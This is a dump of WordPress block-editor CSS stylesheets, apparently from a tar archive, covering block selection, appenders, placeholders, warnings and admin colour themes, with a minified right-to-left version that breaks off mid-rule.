.block-editor-block-list__block.is-content-locked.has-child-selected .block-editor-block-list__block,.is-focus-mode .block-editor-block-list__block:not(.has-child-selected) .block-editor-block-list__block,.is-focus-mode .block-editor-block-list__block:not(.has-child-selected).is-multi-selected,.is-focus-mode .block-editor-block-list__block:not(.has-child-selected).is-selected{ opacity:1; } .wp-block.alignleft,.wp-block.alignright,.wp-block[data-align=left]>*,.wp-block[data-align=right]>*{ z-index:21; } .wp-site-blocks>[data-align=left]{ float:left; margin-right:2em; } .wp-site-blocks>[data-align=right]{ float:right; margin-left:2em; } .wp-site-blocks>[data-align=center]{ justify-content:center; margin-left:auto; margin-right:auto; } .block-editor-block-list .block-editor-inserter{ cursor:move; cursor:grab; margin:8px; } @keyframes block-editor-inserter__toggle__fade-in-animation{ 0%{ opacity:0; } to{ opacity:1; } } .wp-block .block-list-appender .block-editor-inserter__toggle{ animation:block-editor-inserter__toggle__fade-in-animation .1s ease; animation-fill-mode:forwards; } @media (prefers-reduced-motion:reduce){ .wp-block .block-list-appender .block-editor-inserter__toggle{ animation-delay:0s; animation-duration:1ms; } } .block-editor-block-list__block:not(.is-selected):not(.has-child-selected) .block-editor-default-block-appender{ display:none; } .block-editor-block-list__block:not(.is-selected):not(.has-child-selected) .block-editor-default-block-appender .block-editor-inserter__toggle{ opacity:0; transform:scale(0); } .block-editor-block-list__block .block-editor-block-list__block-html-textarea{ border:none; border-radius:2px; box-shadow:inset 0 0 0 1px #1e1e1e; display:block; font-family:Menlo,Consolas,monaco,monospace; font-size:15px; line-height:1.5; margin:0; outline:none; overflow:hidden; padding:12px; resize:none; transition:padding .2s linear; width:100%; } @media (prefers-reduced-motion:reduce){ .block-editor-block-list__block .block-editor-block-list__block-html-textarea{ transition-delay:0s; transition-duration:0s; } } .block-editor-block-list__block .block-editor-block-list__block-html-textarea:focus{ box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color); } .block-editor-block-list__block .block-editor-warning{ position:relative; z-index:5; } .block-editor-block-list__block .block-editor-warning.block-editor-block-list__block-crash-warning{ margin-bottom:auto; } .block-editor-iframe__body{ transform-origin:top center; transition:all .3s; } .is-vertical .block-list-appender{ margin-left:12px; margin-right:auto; margin-top:12px; width:24px; } .block-list-appender>.block-editor-inserter{ display:block; } .block-editor-block-list__block:not(.is-selected):not(.has-child-selected):not(.block-editor-block-list__layout) .block-editor-block-list__layout>.block-list-appender .block-list-appender__toggle{ opacity:0; transform:scale(0); } .block-editor-block-list__block.has-block-overlay{ cursor:default; } .block-editor-block-list__block.has-block-overlay:before{ background:transparent; border:none; border-radius:2px; content:""; height:100%; left:0; position:absolute; top:0; width:100%; z-index:10; } .block-editor-block-list__block.has-block-overlay:not(.is-multi-selected):after{ content:none !important; } .block-editor-block-list__block.has-block-overlay:hover:not(.is-dragging-blocks):not(.is-multi-selected):before{ background:rgba(var(--wp-admin-theme-color--rgb), .04); box-shadow:0 0 0 1px var(--wp-admin-theme-color) inset; } .block-editor-block-list__block.has-block-overlay.is-reusable:hover:not(.is-dragging-blocks):not(.is-multi-selected):before,.block-editor-block-list__block.has-block-overlay.wp-block-template-part:hover:not(.is-dragging-blocks):not(.is-multi-selected):before{ background:rgba(var(--wp-block-synced-color--rgb), .04); box-shadow:0 0 0 1px var(--wp-block-synced-color) inset; } .block-editor-block-list__block.has-block-overlay.is-selected:not(.is-dragging-blocks):before{ box-shadow:0 0 0 1px var(--wp-admin-theme-color) inset; } .block-editor-block-list__block.has-block-overlay .block-editor-block-list__block{ pointer-events:none; } .block-editor-iframe__body.is-zoomed-out .block-editor-block-list__block.has-block-overlay:before{ left:calc(50% - 50vw); width:100vw; } .block-editor-block-list__layout .is-dragging{ background-color:currentColor !important; border-radius:2px !important; opacity:.05 !important; pointer-events:none !important; } .block-editor-block-list__layout .is-dragging::selection{ background:transparent !important; } .block-editor-block-list__layout .is-dragging:after{ content:none !important; } .block-editor-block-preview__content-iframe .block-list-appender{ display:none; } .block-editor-block-preview__live-content *{ pointer-events:none; } .block-editor-block-preview__live-content .block-list-appender{ display:none; } .block-editor-block-preview__live-content .components-button:disabled{ opacity:1; } .block-editor-block-preview__live-content .block-editor-block-list__block[data-empty=true],.block-editor-block-preview__live-content .components-placeholder{ display:none; } .block-editor-block-variation-picker .components-placeholder__instructions{ margin-bottom:0; } .block-editor-block-variation-picker .components-placeholder__fieldset{ flex-direction:column; } .block-editor-block-variation-picker.has-many-variations .components-placeholder__fieldset{ max-width:90%; } .block-editor-block-variation-picker__variations.block-editor-block-variation-picker__variations{ display:flex; flex-direction:row; flex-wrap:wrap; justify-content:flex-start; list-style:none; margin:16px 0; padding:0; width:100%; } .block-editor-block-variation-picker__variations.block-editor-block-variation-picker__variations>li{ flex-shrink:1; list-style:none; margin:8px 20px 0 0; text-align:center; width:75px; } .block-editor-block-variation-picker__variations.block-editor-block-variation-picker__variations>li button{ display:inline-flex; margin-right:0; } .block-editor-block-variation-picker__variations.block-editor-block-variation-picker__variations .block-editor-block-variation-picker__variation{ padding:8px; } .block-editor-block-variation-picker__variations.block-editor-block-variation-picker__variations .block-editor-block-variation-picker__variation-label{ display:block; font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif; font-size:12px; line-height:1.4; } .block-editor-block-variation-picker__variation{ width:100%; } .block-editor-block-variation-picker__variation.components-button.has-icon{ justify-content:center; width:auto; } .block-editor-block-variation-picker__variation.components-button.has-icon.is-secondary{ background-color:#fff; } .block-editor-block-variation-picker__variation.components-button{ height:auto; padding:0; } .block-editor-block-variation-picker__variation:before{ content:""; padding-bottom:100%; } .block-editor-block-variation-picker__variation:first-child{ margin-left:0; } .block-editor-block-variation-picker__variation:last-child{ margin-right:0; } .block-editor-button-block-appender{ align-items:center; box-shadow:inset 0 0 0 1px #1e1e1e; color:#1e1e1e; display:flex; flex-direction:column; height:auto; justify-content:center; width:100%; } .block-editor-button-block-appender.components-button.components-button{ padding:12px; } .is-dark-theme .block-editor-button-block-appender{ box-shadow:inset 0 0 0 1px hsla(0,0%,100%,.65); color:hsla(0,0%,100%,.65); } .block-editor-button-block-appender:hover{ box-shadow:inset 0 0 0 1px var(--wp-admin-theme-color); color:var(--wp-admin-theme-color); } .block-editor-button-block-appender:focus{ box-shadow:inset 0 0 0 2px var(--wp-admin-theme-color); } .block-editor-button-block-appender:active{ color:#000; } .is-layout-constrained.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child,.is-layout-constrained.block-editor-block-list__block:not(.is-selected)>.wp-block-group__inner-container>.block-list-appender:only-child,.is-layout-flow.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child,.is-layout-flow.block-editor-block-list__block:not(.is-selected)>.wp-block-group__inner-container>.block-list-appender:only-child{ pointer-events:none; } .is-layout-constrained.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child:after,.is-layout-constrained.block-editor-block-list__block:not(.is-selected)>.wp-block-group__inner-container>.block-list-appender:only-child:after,.is-layout-flow.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child:after,.is-layout-flow.block-editor-block-list__block:not(.is-selected)>.wp-block-group__inner-container>.block-list-appender:only-child:after{ border:1px dashed; border-radius:2px; bottom:0; content:""; left:0; pointer-events:none; position:absolute; right:0; top:0; } .is-layout-constrained.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child:after:before,.is-layout-constrained.block-editor-block-list__block:not(.is-selected)>.wp-block-group__inner-container>.block-list-appender:only-child:after:before,.is-layout-flow.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child:after:before,.is-layout-flow.block-editor-block-list__block:not(.is-selected)>.wp-block-group__inner-container>.block-list-appender:only-child:after:before{ background:currentColor; bottom:0; content:""; left:0; opacity:.1; pointer-events:none; position:absolute; right:0; top:0; } .is-layout-constrained.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child .block-editor-inserter,.is-layout-constrained.block-editor-block-list__block:not(.is-selected)>.wp-block-group__inner-container>.block-list-appender:only-child .block-editor-inserter,.is-layout-flow.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child .block-editor-inserter,.is-layout-flow.block-editor-block-list__block:not(.is-selected)>.wp-block-group__inner-container>.block-list-appender:only-child .block-editor-inserter{ visibility:hidden; } .is-layout-constrained.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child.is-drag-over:after,.is-layout-constrained.block-editor-block-list__block:not(.is-selected)>.wp-block-group__inner-container>.block-list-appender:only-child.is-drag-over:after,.is-layout-flow.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child.is-drag-over:after,.is-layout-flow.block-editor-block-list__block:not(.is-selected)>.wp-block-group__inner-container>.block-list-appender:only-child.is-drag-over:after{ border:none; } .is-layout-constrained.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child.is-drag-over .block-editor-inserter,.is-layout-constrained.block-editor-block-list__block:not(.is-selected)>.wp-block-group__inner-container>.block-list-appender:only-child.is-drag-over .block-editor-inserter,.is-layout-flow.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child.is-drag-over .block-editor-inserter,.is-layout-flow.block-editor-block-list__block:not(.is-selected)>.wp-block-group__inner-container>.block-list-appender:only-child.is-drag-over .block-editor-inserter{ visibility:visible; } .block-editor-block-list__block:not(.is-selected)>.block-editor-block-list__block>.block-list-appender:only-child:after{ border:none; } .block-list-appender:only-child.is-drag-over .block-editor-button-block-appender{ background-color:var(--wp-admin-theme-color); box-shadow:inset 0 0 0 1px hsla(0,0%,100%,.65); color:hsla(0,0%,100%,.65); transition:background-color .2s ease-in-out; } @media (prefers-reduced-motion:reduce){ .block-list-appender:only-child.is-drag-over .block-editor-button-block-appender{ transition:none; } } .block-editor-default-block-appender{ clear:both; margin-left:auto; margin-right:auto; position:relative; } .block-editor-default-block-appender[data-root-client-id=""] .block-editor-default-block-appender__content:hover{ outline:1px solid transparent; } .block-editor-default-block-appender .block-editor-default-block-appender__content{ opacity:.62; } :where(body .is-layout-constrained) .block-editor-default-block-appender>:first-child:first-child{ -webkit-margin-before:0; margin-block-start:0; } .block-editor-default-block-appender .components-drop-zone__content-icon{ display:none; } .block-editor-default-block-appender .block-editor-inserter__toggle.components-button.has-icon{ background:#1e1e1e; border-radius:2px; color:#fff; height:24px; min-width:24px; padding:0; } .block-editor-default-block-appender .block-editor-inserter__toggle.components-button.has-icon:hover{ background:var(--wp-admin-theme-color); color:#fff; } .block-editor-block-list__empty-block-inserter.block-editor-block-list__empty-block-inserter,.block-editor-default-block-appender .block-editor-inserter{ line-height:0; position:absolute; right:0; top:0; } .block-editor-block-list__empty-block-inserter.block-editor-block-list__empty-block-inserter:disabled,.block-editor-default-block-appender .block-editor-inserter:disabled{ display:none; } .block-editor-block-list__block .block-list-appender{ bottom:0; list-style:none; padding:0; position:absolute; right:0; z-index:2; } .block-editor-block-list__block .block-list-appender.block-list-appender{ line-height:0; margin:0; } .block-editor-block-list__block .block-list-appender .block-editor-default-block-appender{ height:24px; } .block-editor-block-list__block .block-list-appender .block-editor-inserter__toggle.components-button.has-icon,.block-editor-block-list__block .block-list-appender .block-list-appender__toggle{ background:#1e1e1e; box-shadow:none; color:#fff; display:none; flex-direction:row; height:24px; min-width:24px; padding:0 !important; width:24px; } .block-editor-block-list__block .block-list-appender .block-editor-inserter__toggle.components-button.has-icon:hover,.block-editor-block-list__block .block-list-appender .block-list-appender__toggle:hover{ background:var(--wp-admin-theme-color); color:#fff; } .block-editor-block-list__block .block-list-appender .block-editor-default-block-appender__content{ display:none; } .block-editor-block-list__block .block-list-appender:only-child{ align-self:center; line-height:inherit; list-style:none; position:relative; right:auto; } .block-editor-block-list__block .block-list-appender:only-child .block-editor-default-block-appender__content{ display:block; } .block-editor-block-list__block.is-selected .block-editor-block-list__layout>.block-list-appender .block-editor-inserter__toggle.components-button.has-icon,.block-editor-block-list__block.is-selected .block-editor-block-list__layout>.block-list-appender .block-list-appender__toggle,.block-editor-block-list__block.is-selected>.block-list-appender .block-editor-inserter__toggle.components-button.has-icon,.block-editor-block-list__block.is-selected>.block-list-appender .block-list-appender__toggle{ display:flex; } .block-editor-default-block-appender__content{ cursor:text; } .block-editor-block-list__layout.has-overlay:after{ bottom:0; content:""; left:0; position:absolute; right:0; top:0; z-index:60; } .block-editor-media-placeholder__url-input-container .block-editor-media-placeholder__button{ margin-bottom:0; } .block-editor-media-placeholder__url-input-form{ display:flex; } .block-editor-media-placeholder__url-input-form input[type=url].block-editor-media-placeholder__url-input-field{ border:none; border-radius:0; flex-grow:1; margin:2px; min-width:200px; width:100%; } @media (min-width:600px){ .block-editor-media-placeholder__url-input-form input[type=url].block-editor-media-placeholder__url-input-field{ width:300px; } } .block-editor-media-placeholder__url-input-submit-button{ flex-shrink:1; } .block-editor-media-placeholder__button{ margin-bottom:.5rem; } .block-editor-media-placeholder__cancel-button.is-link{ display:block; margin:1em; } .block-editor-media-placeholder.is-appender{ min-height:0; } .block-editor-media-placeholder.is-appender:hover{ box-shadow:0 0 0 1px var(--wp-admin-theme-color); cursor:pointer; } .block-editor-plain-text{ border:none; box-shadow:none; color:inherit; font-family:inherit; font-size:inherit; line-height:inherit; margin:0; padding:0; width:100%; } .rich-text [data-rich-text-placeholder]{ pointer-events:none; } .rich-text [data-rich-text-placeholder]:after{ content:attr(data-rich-text-placeholder); opacity:.62; } .rich-text:focus{ outline:none; } .rich-text:focus [data-rich-text-format-boundary]{ border-radius:2px; } .block-editor-rich-text__editable>p:first-child{ margin-top:0; } figcaption.block-editor-rich-text__editable [data-rich-text-placeholder]:before{ opacity:.8; } [data-rich-text-script]{ display:inline; } [data-rich-text-script]:before{ background:#ff0; content:""; } .block-editor-warning{ align-items:center; background-color:#fff; border:1px solid #1e1e1e; border-radius:2px; display:flex; flex-wrap:wrap; padding:1em; } .block-editor-warning,.block-editor-warning .block-editor-warning__message{ font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif; } .block-editor-warning .block-editor-warning__message{ color:#1e1e1e; font-size:13px; line-height:1.4; margin:0; } .block-editor-warning p.block-editor-warning__message.block-editor-warning__message{ min-height:auto; } .block-editor-warning .block-editor-warning__contents{ align-items:baseline; display:flex; flex-direction:row; flex-wrap:wrap; justify-content:space-between; width:100%; } .block-editor-warning .block-editor-warning__actions{ align-items:center; display:flex; margin-top:1em; } .block-editor-warning .block-editor-warning__action{ margin:0 8px 0 0; } .block-editor-warning__secondary{ margin:auto 0 auto 8px; } .components-popover.block-editor-warning__dropdown{ z-index:99998; } body.admin-color-light{ --wp-admin-theme-color:#0085ba; --wp-admin-theme-color--rgb:0, 133, 186; --wp-admin-theme-color-darker-10:#0073a1; --wp-admin-theme-color-darker-10--rgb:0, 115, 161; --wp-admin-theme-color-darker-20:#006187; --wp-admin-theme-color-darker-20--rgb:0, 97, 135; --wp-admin-border-width-focus:2px; } @media (min-resolution:192dpi){ body.admin-color-light{ --wp-admin-border-width-focus:1.5px; } } body.admin-color-modern{ --wp-admin-theme-color:#3858e9; --wp-admin-theme-color--rgb:56, 88, 233; --wp-admin-theme-color-darker-10:#2145e6; --wp-admin-theme-color-darker-10--rgb:33, 69, 230; --wp-admin-theme-color-darker-20:#183ad6; --wp-admin-theme-color-darker-20--rgb:24, 58, 214; --wp-admin-border-width-focus:2px; } @media (min-resolution:192dpi){ body.admin-color-modern{ --wp-admin-border-width-focus:1.5px; } } body.admin-color-blue{ --wp-admin-theme-color:#096484; --wp-admin-theme-color--rgb:9, 100, 132; --wp-admin-theme-color-darker-10:#07526c; --wp-admin-theme-color-darker-10--rgb:7, 82, 108; --wp-admin-theme-color-darker-20:#064054; --wp-admin-theme-color-darker-20--rgb:6, 64, 84; --wp-admin-border-width-focus:2px; } @media (min-resolution:192dpi){ body.admin-color-blue{ --wp-admin-border-width-focus:1.5px; } } body.admin-color-coffee{ --wp-admin-theme-color:#46403c; --wp-admin-theme-color--rgb:70, 64, 60; --wp-admin-theme-color-darker-10:#383330; --wp-admin-theme-color-darker-10--rgb:56, 51, 48; --wp-admin-theme-color-darker-20:#2b2724; --wp-admin-theme-color-darker-20--rgb:43, 39, 36; --wp-admin-border-width-focus:2px; } @media (min-resolution:192dpi){ body.admin-color-coffee{ --wp-admin-border-width-focus:1.5px; } } body.admin-color-ectoplasm{ --wp-admin-theme-color:#523f6d; --wp-admin-theme-color--rgb:82, 63, 109; --wp-admin-theme-color-darker-10:#46365d; --wp-admin-theme-color-darker-10--rgb:70, 54, 93; --wp-admin-theme-color-darker-20:#3a2c4d; --wp-admin-theme-color-darker-20--rgb:58, 44, 77; --wp-admin-border-width-focus:2px; } @media (min-resolution:192dpi){ body.admin-color-ectoplasm{ --wp-admin-border-width-focus:1.5px; } } body.admin-color-midnight{ --wp-admin-theme-color:#e14d43; --wp-admin-theme-color--rgb:225, 77, 67; --wp-admin-theme-color-darker-10:#dd382d; --wp-admin-theme-color-darker-10--rgb:221, 56, 45; --wp-admin-theme-color-darker-20:#d02c21; --wp-admin-theme-color-darker-20--rgb:208, 44, 33; --wp-admin-border-width-focus:2px; } @media (min-resolution:192dpi){ body.admin-color-midnight{ --wp-admin-border-width-focus:1.5px; } } body.admin-color-ocean{ --wp-admin-theme-color:#627c83; --wp-admin-theme-color--rgb:98, 124, 131; --wp-admin-theme-color-darker-10:#576e74; --wp-admin-theme-color-darker-10--rgb:87, 110, 116; --wp-admin-theme-color-darker-20:#4c6066; --wp-admin-theme-color-darker-20--rgb:76, 96, 102; --wp-admin-border-width-focus:2px; } @media (min-resolution:192dpi){ body.admin-color-ocean{ --wp-admin-border-width-focus:1.5px; } } body.admin-color-sunrise{ --wp-admin-theme-color:#dd823b; --wp-admin-theme-color--rgb:221, 130, 59; --wp-admin-theme-color-darker-10:#d97426; --wp-admin-theme-color-darker-10--rgb:217, 116, 38; --wp-admin-theme-color-darker-20:#c36922; --wp-admin-theme-color-darker-20--rgb:195, 105, 34; --wp-admin-border-width-focus:2px; } @media (min-resolution:192dpi){ body.admin-color-sunrise{ --wp-admin-border-width-focus:1.5px; } }css/dist/block-editor/content-rtl.min.css000064400000070252151202620300014417 0ustar00:root{--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,161;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px;--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.block-editor-block-icon{align-items:center;display:flex;height:24px;justify-content:center;width:24px}.block-editor-block-icon.has-colors svg{fill:currentColor}@media (forced-colors:active){.block-editor-block-icon.has-colors svg{fill:CanvasText}}.block-editor-block-icon svg{max-height:24px;max-width:24px;min-height:20px;min-width:20px}.block-editor-block-styles .block-editor-block-list__block{margin:0}@keyframes selection-overlay__fade-in-animation{0%{opacity:0}to{opacity:.4}}:root .block-editor-block-list__layout::selection,:root .has-multi-selection .block-editor-block-list__layout::selection,_::-webkit-full-page-media,_:future{background-color:transparent}.block-editor-block-list__layout{position:relative}.block-editor-block-list__layout:where(.block-editor-block-list__block.is-multi-selected:not(.is-partially-selected)){border-radius:2px}.block-editor-block-list__layout .block-editor-block-list__block.is-multi-selected:not(.is-partially-selected) ::selection,.block-editor-block-list__layout .block-editor-block-list__block.is-multi-selected:not(.is-partially-selected)::selection{background:transparent}.block-editor-block-list__layout .block-editor-block-list__block.is-multi-selected:not(.is-partially-selected):after{animation:selection-overlay__fade-in-animation .1s ease-out;animation-fill-mode:forwards;background:var(--wp-admin-theme-color);border-radius:2px;bottom:0;content:"";left:0;opacity:.4;outline:2px solid transparent;pointer-events:none;position:absolute;right:0;top:0;z-index:1}@media (prefers-reduced-motion:reduce){.block-editor-block-list__layout .block-editor-block-list__block.is-multi-selected:not(.is-partially-selected):after{animation-delay:0s;animation-duration:1ms}}.block-editor-block-list__layout .block-editor-block-list__block.is-multi-selected:not(.is-partially-selected).is-highlighted:after{box-shadow:none}.block-editor-block-list__layout .block-editor-block-list__block.is-highlighted,.block-editor-block-list__layout .block-editor-block-list__block.is-highlighted~.is-multi-selected,.block-editor-block-list__layout .block-editor-block-list__block:not([contenteditable]):focus,.block-editor-block-list__layout.is-navigate-mode .block-editor-block-list__block.is-selected{outline:none}.block-editor-block-list__layout .block-editor-block-list__block.is-highlighted:after,.block-editor-block-list__layout .block-editor-block-list__block.is-highlighted~.is-multi-selected:after,.block-editor-block-list__layout .block-editor-block-list__block:not([contenteditable]):focus:after,.block-editor-block-list__layout.is-navigate-mode .block-editor-block-list__block.is-selected:after{border-radius:1px;bottom:1px;box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);content:"";left:1px;outline:2px solid transparent;pointer-events:none;position:absolute;right:1px;top:1px;z-index:1}.is-dark-theme .block-editor-block-list__layout .block-editor-block-list__block.is-highlighted:after,.is-dark-theme .block-editor-block-list__layout .block-editor-block-list__block.is-highlighted~.is-multi-selected:after,.is-dark-theme .block-editor-block-list__layout .block-editor-block-list__block:not([contenteditable]):focus:after,.is-dark-theme .block-editor-block-list__layout.is-navigate-mode .block-editor-block-list__block.is-selected:after{box-shadow:0 0 0 var(--wp-admin-border-width-focus) #fff}.block-editor-block-list__layout .is-block-moving-mode.block-editor-block-list__block.is-selected:after{border-radius:2px;border-top:4px solid #ccc;bottom:auto;box-shadow:none;content:"";left:0;pointer-events:none;position:absolute;right:0;top:-14px;transition:border-color .1s linear,border-style .1s linear,box-shadow .1s linear;z-index:0}.block-editor-block-list__layout .is-block-moving-mode.can-insert-moving-block.block-editor-block-list__block.is-selected:after{border-color:var(--wp-admin-theme-color)}.has-multi-selection .block-editor-block-list__layout{-webkit-user-select:none;user-select:none}.block-editor-block-list__layout [class^=components-]{-webkit-user-select:text;user-select:text}.is-block-moving-mode.block-editor-block-list__block-selection-button{font-size:1px;height:1px;opacity:0;padding:0}.block-editor-block-list__layout .block-editor-block-list__block{overflow-wrap:break-word;pointer-events:auto;position:relative;-webkit-user-select:text;user-select:text}.block-editor-block-list__layout .block-editor-block-list__block.is-editing-disabled{pointer-events:none;-webkit-user-select:none;user-select:none}.block-editor-block-list__layout .block-editor-block-list__block .reusable-block-edit-panel *{z-index:1}.block-editor-block-list__layout .block-editor-block-list__block .components-placeholder .components-with-notices-ui{margin:-10px 0 12px}.block-editor-block-list__layout .block-editor-block-list__block .components-with-notices-ui{margin:0 0 12px;width:100%}.block-editor-block-list__layout .block-editor-block-list__block .components-with-notices-ui .components-notice{margin-left:0;margin-right:0}.block-editor-block-list__layout .block-editor-block-list__block .components-with-notices-ui .components-notice .components-notice__content{font-size:13px}.block-editor-block-list__layout .block-editor-block-list__block.has-warning{min-height:48px}.block-editor-block-list__layout .block-editor-block-list__block.has-warning>*{pointer-events:none;-webkit-user-select:none;user-select:none}.block-editor-block-list__layout .block-editor-block-list__block.has-warning .block-editor-warning{pointer-events:all}.block-editor-block-list__layout .block-editor-block-list__block.has-warning:after{background-color:hsla(0,0%,100%,.4);border-radius:2px;bottom:0;content:"";left:0;position:absolute;right:0;top:0}.block-editor-block-list__layout .block-editor-block-list__block.has-warning.is-multi-selected:after{background-color:transparent}.block-editor-block-list__layout .block-editor-block-list__block.is-reusable>.block-editor-inner-blocks>.block-editor-block-list__layout.has-overlay:after{display:none}.block-editor-block-list__layout .block-editor-block-list__block.is-reusable>.block-editor-inner-blocks>.block-editor-block-list__layout.has-overlay .block-editor-block-list__layout.has-overlay:after{display:block}.block-editor-block-list__layout .block-editor-block-list__block.is-reusable.has-child-selected:after{box-shadow:0 0 0 1px var(--wp-admin-theme-color)}.block-editor-block-list__layout .block-editor-block-list__block[data-clear=true]{float:none}.is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-hovered{cursor:default}.is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-hovered:after{border-radius:1px;bottom:1px;box-shadow:0 0 0 1px var(--wp-admin-theme-color);content:"";left:1px;pointer-events:none;position:absolute;right:1px;top:1px}.is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-selected{cursor:default}.is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-selected.rich-text{cursor:unset}.is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-selected:after{border-radius:2px;bottom:1px;box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);content:"";left:1px;pointer-events:none;position:absolute;right:1px;top:1px}.is-focus-mode .block-editor-block-list__block:not(.has-child-selected){opacity:.2;transition:opacity .1s linear}@media (prefers-reduced-motion:reduce){.is-focus-mode .block-editor-block-list__block:not(.has-child-selected){transition-delay:0s;transition-duration:0s}}.is-focus-mode .block-editor-block-list__block.is-content-locked-temporarily-editing-as-blocks.has-child-selected,.is-focus-mode .block-editor-block-list__block.is-content-locked-temporarily-editing-as-blocks.has-child-selected .block-editor-block-list__block,.is-focus-mode .block-editor-block-list__block.is-content-locked.has-child-selected,.is-focus-mode .block-editor-block-list__block.is-content-locked.has-child-selected .block-editor-block-list__block,.is-focus-mode .block-editor-block-list__block:not(.has-child-selected) .block-editor-block-list__block,.is-focus-mode .block-editor-block-list__block:not(.has-child-selected).is-multi-selected,.is-focus-mode .block-editor-block-list__block:not(.has-child-selected).is-selected{opacity:1}.wp-block.alignleft,.wp-block.alignright,.wp-block[data-align=left]>*,.wp-block[data-align=right]>*{z-index:21}.wp-site-blocks>[data-align=left]{float:right;margin-left:2em}.wp-site-blocks>[data-align=right]{float:left;margin-right:2em}.wp-site-blocks>[data-align=center]{justify-content:center;margin-left:auto;margin-right:auto}.block-editor-block-list .block-editor-inserter{cursor:move;cursor:grab;margin:8px}@keyframes block-editor-inserter__toggle__fade-in-animation{0%{opacity:0}to{opacity:1}}.wp-block .block-list-appender .block-editor-inserter__toggle{animation:block-editor-inserter__toggle__fade-in-animation .1s ease;animation-fill-mode:forwards}@media (prefers-reduced-motion:reduce){.wp-block .block-list-appender .block-editor-inserter__toggle{animation-delay:0s;animation-duration:1ms}}.block-editor-block-list__block:not(.is-selected):not(.has-child-selected) .block-editor-default-block-appender{display:none}.block-editor-block-list__block:not(.is-selected):not(.has-child-selected) .block-editor-default-block-appender .block-editor-inserter__toggle{opacity:0;transform:scale(0)}.block-editor-block-list__block .block-editor-block-list__block-html-textarea{border:none;border-radius:2px;box-shadow:inset 0 0 0 1px #1e1e1e;display:block;font-family:Menlo,Consolas,monaco,monospace;font-size:15px;line-height:1.5;margin:0;outline:none;overflow:hidden;padding:12px;resize:none;transition:padding .2s linear;width:100%}@media (prefers-reduced-motion:reduce){.block-editor-block-list__block .block-editor-block-list__block-html-textarea{transition-delay:0s;transition-duration:0s}}.block-editor-block-list__block .block-editor-block-list__block-html-textarea:focus{box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color)}.block-editor-block-list__block .block-editor-warning{position:relative;z-index:5}.block-editor-block-list__block .block-editor-warning.block-editor-block-list__block-crash-warning{margin-bottom:auto}.block-editor-iframe__body{transform-origin:top center;transition:all .3s}.is-vertical .block-list-appender{margin-left:auto;margin-right:12px;margin-top:12px;width:24px}.block-list-appender>.block-editor-inserter{display:block}.block-editor-block-list__block:not(.is-selected):not(.has-child-selected):not(.block-editor-block-list__layout) .block-editor-block-list__layout>.block-list-appender .block-list-appender__toggle{opacity:0;transform:scale(0)}.block-editor-block-list__block.has-block-overlay{cursor:default}.block-editor-block-list__block.has-block-overlay:before{background:transparent;border:none;border-radius:2px;content:"";height:100%;position:absolute;right:0;top:0;width:100%;z-index:10}.block-editor-block-list__block.has-block-overlay:not(.is-multi-selected):after{content:none!important}.block-editor-block-list__block.has-block-overlay:hover:not(.is-dragging-blocks):not(.is-multi-selected):before{background:rgba(var(--wp-admin-theme-color--rgb),.04);box-shadow:0 0 0 1px var(--wp-admin-theme-color) inset}.block-editor-block-list__block.has-block-overlay.is-reusable:hover:not(.is-dragging-blocks):not(.is-multi-selected):before,.block-editor-block-list__block.has-block-overlay.wp-block-template-part:hover:not(.is-dragging-blocks):not(.is-multi-selected):before{background:rgba(var(--wp-block-synced-color--rgb),.04);box-shadow:0 0 0 1px var(--wp-block-synced-color) inset}.block-editor-block-list__block.has-block-overlay.is-selected:not(.is-dragging-blocks):before{box-shadow:0 0 0 1px var(--wp-admin-theme-color) inset}.block-editor-block-list__block.has-block-overlay .block-editor-block-list__block{pointer-events:none}.block-editor-iframe__body.is-zoomed-out .block-editor-block-list__block.has-block-overlay:before{right:calc(50% - 50vw);width:100vw}.block-editor-block-list__layout .is-dragging{background-color:currentColor!important;border-radius:2px!important;opacity:.05!important;pointer-events:none!important}.block-editor-block-list__layout .is-dragging::selection{background:transparent!important}.block-editor-block-list__layout .is-dragging:after{content:none!important}.block-editor-block-preview__content-iframe .block-list-appender{display:none}.block-editor-block-preview__live-content *{pointer-events:none}.block-editor-block-preview__live-content .block-list-appender{display:none}.block-editor-block-preview__live-content .components-button:disabled{opacity:1}.block-editor-block-preview__live-content .block-editor-block-list__block[data-empty=true],.block-editor-block-preview__live-content .components-placeholder{display:none}.block-editor-block-variation-picker .components-placeholder__instructions{margin-bottom:0}.block-editor-block-variation-picker .components-placeholder__fieldset{flex-direction:column}.block-editor-block-variation-picker.has-many-variations .components-placeholder__fieldset{max-width:90%}.block-editor-block-variation-picker__variations.block-editor-block-variation-picker__variations{display:flex;flex-direction:row;flex-wrap:wrap;justify-content:flex-start;list-style:none;margin:16px 